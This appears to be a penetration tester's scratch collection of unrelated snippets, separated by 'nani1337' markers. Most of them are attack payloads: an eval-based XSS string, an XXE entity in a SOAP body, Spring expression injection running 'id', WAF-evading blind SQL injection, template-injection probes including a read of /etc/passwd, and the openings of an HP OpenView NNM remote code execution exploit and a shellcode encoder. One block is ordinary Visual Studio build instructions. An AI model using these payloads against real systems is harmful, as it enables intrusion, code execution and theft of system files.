nani1337

#!/bin/bash

#dirsearchem
#$1 box name
#$2 URL (check for Domain, HTTPS, port first)

clear
date
echo "Running dirsearch on $1 $2"

nani1337

https://jsfiddle.net/3g8yehpz/
<script>throw/a/,a=URL+0,g=alert,onerror=eval,{lineNumber:1,columnNumber:1,fileName:0,message:0+/1/g+a[12]+[1337,331,337]+a[13]}</script>

nani1337

1. Open the Visual Studio Command Prompt. 
   (The Visual Studio Command Prompt loads the necessary environment variables required for the proper 
   functioning of the Visual Studio command line tools.) 
   You can open the VS command prompt by navigating to Start --> All Programs -->  Microsoft Visual Studio 2010 --> Visual Studio Tools 
   --> Visual Studio 2xxx Developer Command Prompt.

2. Please make sure you are able to build your solution successfully by running the following command:

devenv Sample.sln /Rebuild Debug

nani1337

---------------------------
Inside SOAP body
---------------------------
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>


---------------------------
Untested - WAF Bypass
---------------------------

nani1337

My input of abc${12*12}abc was reflected as abc144abc. Then I wanted to perform a simple id and get the result on screen. I proceeded with the following payload:

URI: /BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec('id')}

Payload: ${T(java.lang.Runtime).getRuntime().exec('id')}

After going through some Java classes I stumbled upon the following:

java.lang.Character.toString(105) 
-> prints the characer 'i'

nani1337

sleep/*f*/(10)&new_tags[]=3&menu_id=1111
item_id=1111-if(mid(version/*f*/(),1,1)=4,sleep/*f*/(5),0)

MID(0x352e362e33332d6c6f67,1,1)//LIKE//5 (hex == @@version)

"')/**/OR/**/MID(0x352e362e33332d6c6f67,1,1)/**/LIKE/**/5/**/%23"

if(mid(@@version,1,1)=5 which returns a 200 ok message. 
If changed for if(mid(@@version,1,1)=4 the server gives a 500 or 504 error, 
bc*/OR/*dahdshka*/2/*sd*/LIKE/*da*/"2"/**/%23 translates to: 2 OR 2=2%23

nani1337

 391  nano custom_shell_storm.c
  392  gcc -fno-stack-proctector -z execstack custom_shell_storm.c -o custom_shell_storm
  393  gcc -fno-stack-protector -z execstack custom_shell_storm.c -o custom_shell_storm
  394  ./custom_shell_storm 
  395  gdb ./custom_shell_storm -q
  396  nano fix_shell.nasm
  397  cat fix_shell.nasm | cut -f2
  398  cat fix_shell.nasm | cut -f2 >final.nasm
  399  cat final.nasm 
  400  nano final.nasm 

nani1337

#!/usr/bin/python
# HP OpenView NNM B.07.50 Remote Code Execution exploit
# by Mariusz B. / mgeeky, 17'

import struct
import socket

HOST = '192.168.XXX.YYY'
PORT = 7510

nani1337

#!/usr/bin/python
#
# Shellcode to ASCII encoder leveraging rebuilding on-the-stack technique,
# and using Jon Erickson's algorithm from Phiral Research Labs `Dissembler` 
# utility (as described in: Hacking - The Art of Exploitation).
#
# Basically one gives to the program's output a binary encoded shellcode,
# and it yields on the output it's ASCII encoded form.
#
# This payload will at the beginning align the stack by firstly moving 

nani1337

##### LOOK FOR 1868686868
<%= 36692 * 50929 %>
<%= File.open('/etc/passwd').read %>
${36692*50929}
18686{*xxxxxxxxxx*}86868
${"18686".join("86868")}
${36692*'50929'}
${{36692*50929}}
${{36692*'50929'}}
{{36692*'50929'}}